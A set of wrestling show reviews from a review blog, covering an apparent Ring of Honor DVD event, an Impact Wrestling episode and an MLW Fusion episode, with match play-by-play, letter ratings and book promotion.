They head outside with Gowen knocking him into the barricade, setting up a falling flip dive for the big crash. Gowen: “THAT’S HOW I BEAT THE BIG SHOW B****!” Back in again and Delirious takes him down to bite the back of Gowen’s head before stopping to….sing? Now it’s a bite of the leg, followed by a fireman’s carry faceplant. A running knee in the corner sets up the missed top rope splash to the back and Gowen hits a rolling neckbreaker for two of his own. Gowen misses a moonsault though and it’s a cobra clutch into a Cobra Stretch to make Gowen tap at 4:25.

Rating: C-. There is something funny about Gowen being the hometown boy but being such a jerk that the fans don’t seem upset when he loses. To be fair, Gowen was never exactly a big star, but rather someone who was around big stars. That doesn’t quite make him someone the fans would be rather interested in, though a little star power, especially a local star, isn’t going to hurt that much.

Here’s Commissioner Jim Cornette for a chat. After saying he sounds like James Earl Jones on the microphone, Cornette shrugs off a fan shouting that Homicide is going to kill him. Cornette talks about all the other sports going on in Detroit this year and thanks the fans for supporting Ring of Honor. Thanks to the fans, Ring of Honor is going to be back in Detroit in April for Wrestlemania weekend. So if you want to go see the pyro and insanity, go over to the stadium but come here early to see some wrestling.

Now we have some bad news though: Roderick Strong was injured last night in Cleveland, Ohio and can’t wrestle tonight. Cue Strong, in street clothes, who needs a chair to help him get inside. Strong says he’s here to wrestle tonight but Cornette says he can’t do it. Cornette talks about being 23 years old once and can appreciate the fire and passion, but Strong isn’t wrestling tonight. That doesn’t work for Strong, who gets in Cornette’s face and says he’s doing this.

Cornette gets firm with him and says no but here’s Homicide to cut them off. Cornette heads to the floor as Homicide throws in chairs before wisely running to the back. Homicide talks about having a bad day because the Detroit Tigers beat his Yankees today. Tonight, that “little cracker” Jim Cornette is going to get his tonight. And yes, Strong should wrestle tonight because Homicide says “f*** him”, in regards to Cornette. I don’t think he and Homicide like each other.

Allison Danger/Lacey vs. Daizee Haze/MsChif

This era’s women’s division wasn’t the strongest but I’d still take it over what ROH offers fourteen years later. I’m not overly familiar with most of these four’s work though so this should be interesting. Lacey freaks out at fans patting her on the back on the way to the ring so I’m guessing they’re the heels here. They shout at each other a good bit before the bell and again we have no handshake. The bell rings and commentary says the partners were chosen at random so they don’t exactly get along. Fair enough.

Haze sunset flips Lacey for two to start and we hit the quick pinfall reversal sequence. The threat of a test of strength sends both of them over for a tag with Danger working on MsChif’s arm. Some armdrags have MsChif in trouble but Lacey tags herself in. Allison tags herself back in as well and rolls MsChif up for two in a hurry. Lacey grabs an armbar on MsChif and hands it off to Danger for the same but this time Haze comes in to break it up.

Haze comes in for a bodyscissors and rolls Danger around into a cradle for two. A standing moonsault gives MsChif the same and there’s a gutbuster to put Danger down again. Haze’s suplex is countered into a small package for two but she’s right back with a Stunner. Danger drops her throat first across the top though and the hot tag brings in MsChif to Roll the Dice on Lacey.

A TKO gives Lacey her own two with Haze making a very last second save. Everything breaks down and Danger gives Haze an STO. MsChif takes Danger into the corner for something like a middle rope Pedigree but the referee stops to yell at Haze. The distraction lets MsChif spray mist into Danger’s eyes by mistake so Haze comes back in for the Mind Trip (falling forward cutter) to finish Danger at 9:52.

Rating: C+. Again, not exactly a good match but they did their thing and looked totally competent at the same time. The women’s division has always been a weak spot for ROH and given that these women were on loan from Shimmer, there was only so much that could be expected. That being said, I liked what we got here and I could go for more of them, though preferably after hearing a bit more about them and having some kind of a story included.

Claudio Castagnoli vs. Davey Richards

That would be Cesaro and both of them look VERY young here. I’m also not sure that they can get away with Running With The Devil and We Are The Champions as entrance music on a DVD release. Castagnoli has the ROH Tag Team Title, the Chikara Campeonatos de Parejas and a big briefcase. Ok so one of them isn’t as impress as the other, but that Chikara title makes a nice third piece. Also, three matches in and still no handshakes. Davey grabs an armbar to start and then kicks his way out of Claudio’s counter.

The fans get on Claudio’s nerves in a hurry but he shrugs off the much smaller Davey’s running shoulders. A running boot to Claudio’s head works a bit better and there’s a headscissors to take him down. Davey headlocks him for a bit and then takes him down again, this time with a steal of Claudio’s HEY! Back up and Claudio gets in a poke to the eye to set up a belly to back suplex to really take over.

We hit the seated abdominal stretch, followed by a running knee in the corner with Richards doing a near comical face first fall to the mat. Now it’s a standing abdominal stretch but Davey is out in a hurry, meaning it’s a running clothesline to take him down again. The choking in the corner keeps Davey down and Castagnoli runs him over with a clothesline. Castagnoli misses a running knee in the corner though and falls outside, allowing Davey to hit a hard suicide dive.

Back in and a nice springboard missile dropkick into a nip up lets Davey strike away. A bridging German suplex gets two on Castagnoli but he faceplants Davey for the same. Castagnoli puts him on top but Davey reverses into a heck of a sunset bomb for two more. The Kawada Kicks connect, only to have Castagnoli snap off the European uppercuts.

One of the bigger uppercuts gets two but the Riccola Bomb is countered into a DDT into an armbar on the mat. Cue Castagnoli’s partner Chris Hero for a distraction, allowing Castagnoli to roll Davey up for two. Hero gets in a shot with the briefcase though and Castagnoli hits the Alpamare Waterslide (something like an Angle Slam) for the pin at 12:21.

Rating: C+. They hit each other rather hard here but it’s strange to see Castagnoli as so much more of a character with all of the Very European stuff. That being said, the Kings of Wrestling were an awesome team and Richards wasn’t quite much yet. The match was good enough, despite the fairly cheap ending.

Post match Hero says the Kings of Wrestling will reign forever.

Jimmy Jacobs/Colt Cabana vs. Christopher Daniels/Matt Sydal

Lacey is here with Jacobs (there’s a LONG history there as Jimmy loves Lacey but she doesn’t care for him, which went on for years) and Cabana. The fans seem rather into Daniels, which isn’t that surprising. Jacobs and Sydal get things going with Sydal working on the leg early on. That gives us a standoff so they lock up again with the fans laughing at something. Another standoff lets Jacobs blow a kiss to Lacey before going to a test of strength. Sydal bridges up off the mat but gets taken down by an anklescissors.

Sydal’s own anklescissors sends Jacobs outside as the rather choreographed opening continues. Cabana and Daniels come in with Cabana cartwheeling and strutting away. Daniels takes him down into a headscissors but Cabana is back up for some shaking knees. Cabana sends him outside to set off the frustration and things slow down a bit. Back in and Daniels shoulders him down a few times before hitting a kick to the head.

Lacey grabs Daniels’ foot so Daniels pulls her in, which results in Lacey landing in various positions with Cabana. Jimmy freaks out and comes in for the save but Lacey yells at both of them as Cabana gives an “uh, sorry” look. We settle back down to Daniels slamming Sydal onto Cabana before hitting the STO into the Koji Clutch. Lacey gets up on the apron for a distraction though and for once it actually works, though Jacobs goes outside to check on her.

Jacobs comes in to work on Daniels’ arm, followed by Cabana coming in for more of the same. A top rope stomp to the arm (ow) gets two on Daniels and the arm cranking continues. Daniels gets some boots up out of the corner and the STO gives us a double knockdown. The diving tag brings in Sydal and it’s time to start kicking people in the head/chest.

A super hurricanrana brings Cabana off the middle rope and Sydal sends Jacobs flying into Cabana. The standing moonsault gets two on Jacobs but he’s right back with a spear for two. A middle rope legdrop/belly to back suplex combination gets two on Jacobs and Sydal crotches Cabana on top. Lacey checks on Cabana so Jacobs lets go of the Contra Code, allowing Daniels to hit the Angel’s Wings for the pin on Jacobs at 14:07.

Rating: B-. I liked this a lot more than I was expecting to as they were four talented wrestlers having a nice match. Jacobs is usually hard to take as the over the top heel so having him as the lovesick face was a nice switch. The Lacey stuff worked well and I got what they were going for with only a basic understanding of the story. Well done here and a perfectly enjoyable match.

Jacobs throws the chair again and almost hits Daniels this time, even as Whitmer continues promising to end Jacobs. As Jimmy yells at Whitmer, Lacey is more worried about Cabana crotching himself. Lacey and company leave so Daniels calls out the Kings of Wrestling for ducking them. Cue Chris Hero, who asks what Sydal has ever done. Sydal grabs the mic to say Daniels has proven himself time after time, but what has Hero done?

The challenge is on but Hero walks away instead. Sydal insults Hero’s pants though and asks what kind of a champion he is. Daniels says Hero isn’t good enough to be booked around here anyway. Hero says that’s not true and Daniels says get in the ring right now. That’s enough for Hero and we’re ready to go.

Matt Sydal vs. Chris Hero

Hero hammers away in the corner to start but Sydal snaps off some flippy armdrags. Sydal knocks him outside but the Lionsault is pulled out of the air. Back in and we hit the choking, followed by the front facelock for a more legal version. Hero drops an elbow and slaps on a reverse chinlock. Sydal fights up but gets taken down with a running atomic drop out of the corner.

The double arm crank with a knee in the back goes on before Hero heads up top, only to have to bail out of a flip. Sydal kicks him in the head and they’re both down for a bit. Back up and Hero grabs a powerslam for two and can’t believe the kickout. With frustration setting in, Hero grabs the referee so Castagnoli can bring in the briefcase. Daniels cuts him off though and they fight on the floor, allowing Sydal to hit a missile dropkick. The shooting star press finishes Hero at 9:29.

Rating: C. This felt like a WWE TV match and that’s all it needed to be. The idea here was to set up a title match down the line and that is exactly what they did the following month, when Daniels and Sydal won the titles. They had to get things ready here though and that worked out rather well, despite Hero’s offense not being the most thrilling.

The fans want Samoa Joe (Homicide’s partner tonight) but Cornette spits in Homicide’s face instead. Cue Samoa Joe for the save with a chair though before the Jay Driller can flatten Homicide. With the villains out of the way, Homicide swears a lot and calls the three of them “fa****s”. Tonight, Homicide wants a falls count anywhere street fight with the Briscoes. That’s fine with Joe.

We’re on intermission so Delirious rambles on about Zach Gowen and seems to say that he wants the World Title.

Jimmy Rave vs. Pelle Primeau vs. Dave Crist vs. Jake Crist vs. Shane Hagadorn vs. Matt Cross

One fall to a finish with tags because calling it a Six Man Mayhem implies controlled mayhem. It’s also under Lucha Rules with one fall to a finish. Hagadorn has the Top Of The Class Trophy but it does not seem to be on the line here. The fans throw toilet paper at Rave, as is their custom, with one roll hitting him square in the head to a reaction from the fans. Finally, it’s Cross’ debut, just in case you didn’t have enough details to remember yet.

The rather small Pelle starts with Rave, who takes him down and hammers away. A heck of a chop sends Pelle into the ropes for some swearing. Pelle seems to miss most of a dropkick and it’s Hagadorn coming in to dropkick Pelle down again. Dave comes in with a running hurricanrana to Hagadorn but he dropkicks the knee out to take him down. A wristlock has Dave in trouble though and he runs the corner for an armdrag. Jake comes in to cover Hagadorn for two but Cross makes the save and sticks around for a bit.

A Japanese armdrag takes Jake down into an armbar, with Jake being sent outside. Pelle comes in to go after Cross but charges into a Rock Bottom onto the apron. Cross head fakes Rave and then feet fakes him for a bonus, only to get knocked outside. Back in and the Crists knock Hagadorn to the floor but Dave’s half of the stereo dives is cut off by Rave. That sets off a parade of dives with Cross hitting the big one and getting a rather strong reaction.

Pelle tries his own but gets speared down by Rave, who snaps off a suplex to Cross. Back up and Cross hits a springboard double stomp to Rave’s back as Dave is sent hard into the barricade. Cross’ corkscrew moonsault gets two on Rave with Hagadorn making the save this time. Hagadorn rolls Cross up for two with the feet on the ropes not mattering all that much. The Crists come back in for a double spinebuster on Hagadorn but Rave is back in to get beaten up for a change. The Irish Air Raid (powerbomb onto raised knees) gives Dave two on Rave but Pelle comes back in to Stun Rave for the pin at 8:11.

Rating: C+. This was the all action match that you would expect from something like this and that was fine. Pelle is someone whose name pops up every now and then in ROH history but he isn’t exactly someone who stood out other than from being small. The winner wasn’t quite the point here though as they just threw everyone out there and let them do their thing for a bit, which worked out just fine all things considered.

Post match Pelle is very, very excited and shakes everyone’s hand.

Ring of Honor World Title: Bryan Danielson vs. Austin Aries

Danielson is defending and gets a heck of a reaction, as you probably expected. If nothing else, the Final Countdown in front of an ROH crows is always worth seeing. That being said, it’s hard to see Bryan in blue trunks after all those years of seeing him in the signature red. They stare at each other for a bit to start and it’s a feeling out process to get things going. Danielson gets driven into the corner and we actually get a clean break. A test of strength doesn’t get Danielson very far so he takes Aries into the corner for a kick to the arm.

Danielson poses a lot before snapmaring him down into a chinlock. Commentary makes me feel a lot better by explaining that the airline lost both of their bags so neither is in their usual gear. That explains a few things and at least I’m not going nuts. Danielson takes him down by the leg for a change but the cranking only sends Aries over to the ropes. Aries grabs a short armscissors and they roll around a bit until Danielson knees him in the face. Danielson’s headlock is broken up in a hurry and they head outside, where Aries sends him hard into the barricade.

Back in and Danielson manages a suplex before they head right back to the floor. This time it’s Aries going into the barricade so Danielson can choke away a bit. They go inside again and this time Danielson grabs a reverse chinlock to make Aries shout a lot. Aries manages to reverse into one of his own but Danielson reverses into a cross armbreaker. The rope is grabbed, but Danielson HAS UNTIL FIVE. Back up and Aries misses a dropkick so Danielson slaps him in the face.

The chinlock goes on for a bit, followed by one of the only bearhugs that you will ever see from Danielson. Aries breaks out with some ear claps so Danielson grabs a belly to belly suplexes to drop him again. Danielson takes way too long going up for a Swan Dive and (awkwardly) dives into a raised boot. The comeback is on with a bunch of forearms to set up a frog splash but the running dropkick in the corner misses.

Danielson slaps on the half crab so Aries goes for the ropes, meaning it’s off to an airplane spin. That’s reversed into something like the Rings of Saturn to put Danielson in trouble so he grabs the rope as well. Danielson is back with the hard elbows to the head before slapping on the crossface chickenwing in the middle of the ring.

Cattle Mutilation is blocked so Danielson elbows him in the head over and over again. Aries absorbs those and loads up the brainbuster, which is blocked with a knee to the head. Another attempt works just fine though but Aries has to bail out of the 450. Danielson is right back with a small package to retain the title at 22:44.

Rating: A-. Oh like this was going to be anything but great. Danielson and Aries are two of the best that Ring of Honor has ever had and they had over twenty minutes to do their thing here in the co main event. There was no way this wasn’t going to work and they had an awesome match. Danielson wouldn’t be champion that much longer, so it was nice to see him get in another big title defense.

Post match Samoa Joe comes in for the fight with Danielson, drawing in the Briscoes to beat Joe down. Here’s Homicide and it’s time for the main event.

Homicide/Samoa Joe vs. Briscoe Brothers

Anything goes and falls count anywhere. The brawl is on in a hurry and the Briscoes are sent to the floor in a hurry. We settle down to Joe punching Mark in the face with the other two on the apron because ANYTHING GOES means structure. Joe’s knee drop makes it even worse and Homicide comes in for a double shoulder. Jay dares to try a cheap shot from the apron and gets knocked outside, which allows Mark to nail a spinwheel kick.

The delayed double vertical suplex drops Joe and it’s time to hammer away in the corner. The chinlock goes on as we are in no way shape or form resembling a street fight so far. Joe fights up and brings in Homicide to clean house, including sending the two into each other. Jay gets sent into the barricade so it’s Mark hitting the big dive over the top to take Homicide out.

Joe’s suicide elbow takes the Brothers down and NOW we get to the street fight part. Joe starts pelting chairs at the Briscoes (and hitting them with several of them) and everyone else gets involved with their own chair shots. Homicide suplexes Jay onto a bunch of open chairs (egads) and then throws him through them for a bonus. Mark is sat in a chair but pops back up with a big boot to take Joe down. Joe doesn’t seem to mind and snaps off a powerslam to drive Mark through an open chair….and it’s ladder time.

That ladder is punted between Mark’s legs but here’s Jay to break it up. They all fight outside with Joe sending Mark into a brick wall and PELTING a chair at Jay’s head. Mark rolls underneath a production truck so Joe Razor Edges Jay HARD into the side of the truck. Mark is back up with a shooting star off the top of the truck because OF COURSE HE IS. Everyone is mostly dead so Homicide gets powerbombed onto a table as Joe is carried out. The table isn’t broken up so the Briscoes flapjack Homicide through it in a nasty crash.

Homicide pops back up and sends Mark into a brick wall, only to be sent into it by Jay. They fight back inside with both Briscoes being dropped onto the same table for no break. Mark is dropped on the table again but it still doesn’t break so Jay is slammed through it instead. They get back to ringside with more chairs being thrown as the fans are WAY into Homicide. Back in and Homicide can’t hit the Gringo Killer, instead getting caught in a spike Jay Driller to give Mark the pin at 18:50.

Rating: B+. This actually felt wild and that is the kind of thing you need in a match like this one. The Briscoes were a big deal but it is amazing to see how much bigger they would get. Homicide is clearly the hottest thing in the world but Joe is still revered in ROH today. You can imagine what he was like at this point, even if he was wrestling in a shirt here which feels so out of place given how well known his regular look has become.

Post match the fans call that awesome but Jay says it’s the stupidest chant he’s ever heard. He drops quite a few F Bombs over everyone around here, both in and out of the ring, before leaving to end the show.

Actually we’re not done yet as Jimmy Rave won’t answer questions about the recently broken up Embassy and leaves his gear behind. Now we’re done.

The DVD also includes another Video Wire, which is a bunch of videos related to the show.

Colt Cabana talks about how high tech the Video Wire is but doesn’t seem to know the words he is using. He’s the host of this edition but you never know who it is going to be next time. Next time it might be Alf or Bobby Dempsey, but he’s starting it off because he’s Colt Cabana. He has a match featuring the Kings of Wrestling for us but here is Lacey to interrupt. She has something for him, though Cabana says she has something big for her. Lacey doesn’t mind the implication but this is business.

Apparently the match is only available on the online version of the Video Wire. They didn’t think of that when they included this on the DVD?

Here is a bunch of merchandise you can buy! WWE DVDs are included.

Jack Evans is going to be out for the rest of the year but he’ll be back in January. He wants some gold.

Cabana wishes Jack Evans good travels in Japanese and says play some Pokemon while he’s over there. Lacey comes in and says she has gotten Jimmy Jacobs and Colt Cabana a Tag Team Title shot in Cleveland on October 6 (the day before this show). Jimmy comes in and asks if Cabana will team with him for Lacey’s sake. Jacobs apologizes and Cabana agrees because he’s always down for a title shot.

And now, some Glory By Honor V highlights.

Bruno Sammartino is in the ring to praise Ring of Honor, which earns quite the round of applause.

Later in the night, Adam Pearce introduced Shane Hagadorn as his new manservant.

We get some clips of Homicide and Samoa Joe beating the Briscoes. Jim Cornette came out after the match and gave Homicide the World Title shot at Final Battle but promised to make it really hard to get there.

The Kings of Wrestling won the Tag Team Titles. And Castagnoli had hair!

Clips of Nigel McGuinness unsuccessfully challenging Naomichi Marufuji for the GHC Heavyweight Title.

Then Bryan Danielson beat Kenta to retain the Ring of Honor World Title.

House show ads.

Samoa Joe meets the debuting Takeshi Morishima and hopes he can hack it in Ring of Honor. Morishima doesn’t seem impressed.

Colt Cabana, with Lacey’s legs on his lap, thanks us for watching while Jacobs glares. As usual, this isn’t much of an addition but it wasn’t a bad thing at all.

Overall Rating: B+. I liked this show a lot and that was kind of a surprise. It wasn’t a major show and felt like any run of the mill event, but one of the nice things about Ring of Honor at this point is they didn’t really have traditional house shows. You get something out of all of them and that helps a lot, as you don’t feel like you’re wasting your time on a nothing show. I could go for more from this era and it’s really easy to see why Ring of Honor had such a reputation from around this time.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Impact Wrestling

Impact Wrestling
Date: November 1, 2018
Location: Melrose Ballroom, New York City, New York
Commentators: Josh Matthews, Don Callis

We’re still in New York and still pretty fresh off of Bound For Glory, with the big story being Killer Kross laying out World Champion Johnny Impact last week. There’s a lot going on at the moment and I’m actually wanting to see where some of it goes. Now if only they can keep that going for a bit and then pay it off. Let’s get to it.

Here are last week’s results if you need a recap.

The opening recap covers most of last week.

Opening sequence.

Willie Mack vs. Rich Swann

They were partners at Bound For Glory and they’re still cool here as Mack requested his friend for his singles debut. Mack headlocks him to start but Swann speeds things up and starts flipping around. Both guys try dropkicks at the same time so they nip up at the same time, meaning it’s a handshake. Mack picks up the pace with a hard shoulder and some knees to the back to set up a seated Blockbuster. A running vertical suplex gives Mack two and he cuts Swann down again with a spinwheel kick.

Swann gets tied in the Tree of Woe and Mack goes Coast to Coast (not bad, even in a smaller ring). Mack sends him outside for a slingshot down and a pop up Downward Spiral gives Mack two more. A faceplant cuts Mack off though and Swann gets two off a middle rope 450. Mack is right back up with some running shots to the face in the corner and there’s a Samoan drop for good measure. A standing moonsault and Stunner get two each so Mack goes up, only to miss a frog splash. Swann pops up to the top and hits a Phoenix splash for the pin at 9:49.

Rating: C+. This was a great showcase for Mack, though I’m not sure I would have had him lose his singles debut. It’s not like Swann is all that big of a star or anything so having him lose here wouldn’t have been the worst thing in the world. Hopefully Mack sticks around because someone with his skills and charisma can be a star in a hurry.

OVE’s feed keeps messing up before they talk about being in Dayton, Ohio to call out Brian Cage for the beating he deserves.

The announcers preview the rest of the show along with talking about next week’s Final Hour show.

Desi Hit Squad vs. Beach Bums

This is the NEW Squad, with Rohit Raju and Gama Singh’s son Raj. Raju clotheslines TJ Crawford down to start and the stomping begins. Raj comes in for a Cannonball in the corner so it’s off to Freddy Ivey, who gets kicked in the face. With Ivey in trouble, Raju pulls him up at two so the Squad can take turns stomping in the corner. A Samoan drop/jumping knee to the head finishes Ivey at 3:21.

Rating: D. They’re new, they’re still not good, and I still want something more than a team who takes turns stomping their opponents for most of the match. I know they think they have something with Gama Singh as the manager, but even if he, he’s still more interesting than either of the three members of the team, it’s not much of an accomplishment. I’m really not sure why this team gets to keep staying around but they don’t seem to be leaving any time soon.

The OGz are ready to take care of Konnan’s friends the Lucha Bros because the war isn’t over.

LAX is drinking in a bar where Konnan doesn’t think much of Matt Sydal and Ethan Page. Why Ortiz is bartender isn’t clear.

Video on Eddie Edwards vs. Moose, who have their big showdown next week (as opposed to Bound For Glory, where we got a Tommy Dreamer match instead). They used to be friends but Moose turned his back on him, saying that Eddie wasn’t a real friend. Eddie has gone insane and it’s time to fight so someone can get hurt.

We go to Rockstar Pro Wrestling in Dayton, Ohio where OVE (VERY popular here) calls out Cage. They get a fake Cage, complete with a fake title belt. Sami makes fun of his size and the fake Cage does the claps, but the beatdown is on. Callihan gets a pin with Dave Crist putting on a referee shirt to count the three.

Eli Drake goes to a law office….and it’s a broom closet with Joseph Park eating lunch. Park offers to represent Drake’s lawsuit against Impact Wrestling because they could own the company. Drake seems to agree before leaving.

Gama Singh (ERG) praises the new Hit Squad but run into Scarlett Bordeaux. Gama hits on her and speaks his language. Raju says that means he’s been married 45 years and is a happily married man.

Knockouts Title: Taya Valkyrie vs. Tessa Blanchard

Tessa is defending in a Bound For Glory rematch. Taya runs her over to start and sends her into the corner but Tessa is out of the way before the running hip attack can hit. Instead Tessa drops her on the floor and that means a suicide dive to knock the barricade all over the place. Back from a break with Tessa cranking on both arms and putting a boot on the back of Taya’s head. Tessa kicks her in the ribs to cut Taya down again and there’s a running knee to the back for two more.

Magnum misses though and Taya takes her into the corner for a kick to the head. Taya gets two off a spear and a suplex is good for two more. A cutter out of nowhere drops Taya but she’s right back with a curb stomp. The moonsault hits perfectly for two and Tessa bails to the floor. Taya takes her down with a high crossbody so Tessa punches the referee for the DQ to save the title at 13:41.

Rating: C+. These two were hitting each other hard and that’s what you want from something like this. Tessa and Taya can bring in some physicality and that’s how you get an entertaining match from the two of them. Both of them look like they could be champion at the drop of a hat, which makes for some entertaining matches between the two of them. I’m certainly down for a third match between them, which is a nice situation to be in.

Video on Johnny Impact vs. Killer Kross for the World Title next week. Impact knows Kross is a different kind of challenger because he seems more interested in hurting people than anything else. It’s going to be harder for Kross when Johnny is staring him in the face though. Kross’ eyes bugging out is a great visual.

Jordynne Grace is coming.

Classic Moment of the Week: Candice LeRae vs. Gail Kim on Impact in 2013. They actually show the finish for once.

The Lucha Bros aren’t scared of the OGz. Cero miedo you see.

Cage says he never got an invitation to Ohio but he’ll come next week and bring the real X-Division Title.

Final Hour rundown.

Tag Team Titles: LAX vs. Matt Sydal/Ethan Page

Page and Sydal are challenging. Ortiz starts with Sydal and that means a lot of talking/shouting at each other. It’s time to get violent though so Ortiz throws him into the corner for some stomping and brings in Santana for the assisted moonsault. Page comes in and gets armdragged down but catches Santana with a gutwrench faceplant. It’s off to Sydal to talk about showing LAX the way and stare at Konnan. The trash talk is enough for a running flip dive from the apron from Santana to take out both challengers as we take a break.

Back with Santana in trouble as Page holds him for a knee to the ribs from Sydal. Page gets smart by knocking Ortiz off the apron but takes too long, allowing Santana to send him into the corner and dive over for the hot tag. Everything breaks down and Ortiz hits a rolling clothesline (shades of Konnan) on Page, followed by a northern lights suplex for two. The challengers hit stereo kicks to Ortiz’s head for two but it’s a suplex/backbreaker combination (started like a Magic Killer but Ortiz shoved Sydal up and Santana suplexed him onto Ortiz’s knee) for the pin to retain at 13:11.

Rating: B-. LAX is just solid and there’s no other way to put it. I don’t remember the last time they had a bad match and they’re capable of having a good performance against anyone out there. Sydal and Page are a new team and looked fine out there, making this an entertaining match between two pretty solid teams. Good stuff here.

Allie’s reflection if flickering when she stops to apologize to Kiera Hogan for snapping last week. Kiera doesn’t believe there’s nothing wrong with her and a mini argument breaks out. Allie finally admits that there is something wrong because she’s been losing it since they went to the undead realm. Kiera assures her that they’re together until the end. This would have been more effective without the introductions of the Knockouts Title match being heard in the background.

Homicide vs. Pentagon Jr.

I don’t think there was a bell but Pentagon knocks him to the floor to start anyway. Back in and some more kicks have Homicide in more trouble until he snaps off some clotheslines. A Backstabber out of the corner sends Homicide outside and there’s the superkick from the apron. Homicide is fine enough to run back inside for a flip dive into the apron and there’s a middle finger to the crowd.

A tornado DDT gives Homicide two but Pentagon slips out of a superplex attempt and ties Homicide in the Tree of Woe. That means the Alberto double stomp, followed by more kicks to rock Homicide. Back up and Homicide tries the Gringo Killer but gets reversed into a rollup for the pin at 5:51.

Rating: C. This didn’t have time to go anywhere and it’s not like a single rollup is going to end the upcoming Lucha Bros vs. OGz feud. There’s also the chance of seeing where they might go with issues between the Bros and Konnan, who seem to be pretty close. That’s a good example of setting things up for the future and another example of good storytelling around here.

Post match the big beatdown is on with Hernandez running in, followed by Fenix and King to leave the Lucha Bros laying.

Killer Kross promises to bring about Impact’s final hour next week.

Overall Rating: B-. I don’t know what happened but at some point, Impact got downright decent. There are stories that I want to see progress and mostly good wrestling (Desi Hit Squad aside). I’m not sure where things are going from here and that makes for an interesting show. Keep doing stuff like this and things are going to stay good for a long time to come.

Results

Rich Swann b. Willie Mack – Phoenix splash

Desi Hit Squad b. Beach Bums – Samoan drop/jumping knee combination to Ivey

Taya Valkyrie b. Tessa Blanchard via DQ when Blanchard punched the referee

LAX b. Matt Sydal/Ethan Page – Suplex/backbreaker combination to Sydal

Pentagon Jr. b. Homicide – Rollup

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Smackdown Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/09/07/new-book-kbs-complete-smackdown-2003-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Major League Wrestling

Fusion #21
Date: September 7, 2018
Location: Melrose Ballroom, New York City, New York
Commentators: Tony Schiavone, Matt Striker

It’s time for another big tag match with the Lucha Bros defending against Drago and Rey Horus as Lucha Underground continues to take over the wrestling world. Other than that it’s time for the fallout from WarGames, which should be airing sometime soon. They’re getting the schedule down at least and that’s a good sign. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a video on Pentagon Jr. and Fenix winning and defending the Tag Team Titles. They’ve also gotten on Salina de la Renta’s bad side, which is never a smart move.

Opening sequence.

Matt Striker runs down the show.

Richard Holiday vs. Fred Yehi

Holiday was on some of the standalone shows that aired before Fusion debuted and describes himself as the Most Marketable. The marketability might be a little higher if they learned how to spell his name, which is different in the pre-match graphic (Holliday) and in the graphic during his entrance (Holiday).

Yehi takes him down without much effort as Striker talks about Yehi going to German on an excursion for three months in the next few weeks. Some chops in the corner set up a snap suplex as Holiday is in big trouble. Holiday is tired of getting chopped over and over so he takes Yehi down and fires off rights and lefts. Yehi punches him right back down though and slaps on a Koji Clutch for the tap at 4:41.

Rating: D+. Just a squash here and Yehi looked good. Yehi is a talented guy as you can always have a place for the wrestler who can look one submission after another. It makes for an entertaining match almost every time and that’s what we got here. Holiday is fine enough for a jobber and you need those kind of people around on the roster.

Clip of the Hart Foundation beating Kevin Sullivan down. Given that it’s Sullivan and Pillman, there’s always the chance that this is a ruse and they’re really together.

Brian Pillman Jr. doesn’t have nightmares about Sullivan anymore because he walked up to the boogeyman and put him out of his misery. Why do that in the midst of his prime and his youth? Pillman can’t do what he needs to do with Sullivan and his archaic thoughts. Sullivan is the same man who was in the ring with Pillman’s dad twenty years ago and as Sullivan said, a leopard never changes its spots.

Video on Homicide, including him attacking Court Bauer back in the original MLW.

Homicide vs. PCO

This could be fun. They slug it out to start with PCO shouting every time he’s hit. A heavy shoulder puts Homicide down, followed by a sitout Michinoku Driver for two. Homicide suplexes him into the corner though and PCO actually stalls for a minute. A middle rope knee to the back of the neck gets two and there’s a cannonball off the apron to take PCO down again.

With that working, Homicide tries a posting and just wakes PCO up a bit. Salina de la Renta is watching from the front row as PCO hits a chokeslam to put Homicide back on the floor for a suicide dive. Back in and PCO hits a heck of a moonsault for two more as Striker dubs Schiavone T-Bone. A top rope splash gets another near fall so PCO goes up again, this time getting superplexed back down. PCO dares Homicide to hit him and then get staggered by a clothesline. He’s fine enough to forearm Homicide in the chest though and that’s enough for the pin at 8:13.

Rating: C. These guys beat the heck out of each other for a few minutes and I can see why PCO is such a popular guy at the moment. He has a great look and awesome intensity, which is more than enough to carry someone with his size and experience. He’s great for a special attraction monster kind of character, though showing off some more of his promos and vignettes would be a good idea.

Clip of Rhett Giddins helping Jason Cade beat Jimmy Yuta last week.

Cade doesn’t know why people are calling last week’s win controversial. He’s on to winning the Middleweight Title now.

Fury Road is coming on October 4, featuring PCO vs. LA Park and Low Ki defending the World Title. Tony says the show is on October 3. You might want to get that straight guys.

Quick video on Low Ki and Salina vs. Konnan and company.

Next week: WarGames. Well ok.

Video on the build to WarGames, which is built around Sami Callihan vs. Shane Strickland. Both guys brought in a bunch of help and that means it’s time for some WarGames.

Tag Team Titles: Lucha Bros vs. Drago/Rey Horus

Pentagon and Fenix are defending and Horus is better known as Dragon Azteca Jr. Drago, with his bad shoulder, starts with Pentagon and you know that means a big target. Pentagon does CERO MIEDO but Drago grabs the hand. He poses there a little too long though, allowing Fenix to come in for a superkick but a four way strike off puts everyone down early.

We settle down to Pentagon chopping Drago until Fenix comes back in for another superkick. Stereo superkicks drop Drago again, followed by the top rope double stomp to Horus’ back as the champs are rolling early. Drago comes back in but gets superkicked as well (this is getting a little too Young Bucks-y) and another superkick sends Horus into the corner. A top rope armdrag sends Fenix to the floor but Pentagon kicks Drago in the ribs to break up a suicide dive. We settle down again to Drago vs. Horus as the announcers discuss lactic acid.

Pentagon chops him so hard that Horus can’t stand up but he’s fine enough for a standing C4, drawing Fenix back in for another save. Everyone is down again until Drago DDTs Fenix for two. One heck of a super hurricanrana brings Fenix down from the top and Horus’ crazy tornado DDT gets two on Pentagon. Back up and the Pentagon Driver plants Horus for two and the top rope double stomp Fear Factor gets the same. Well that’s the jumping the shark moment. A second double stomp Fear Factor is enough to retain the title at 9:58. There was zero need for the first kickout.

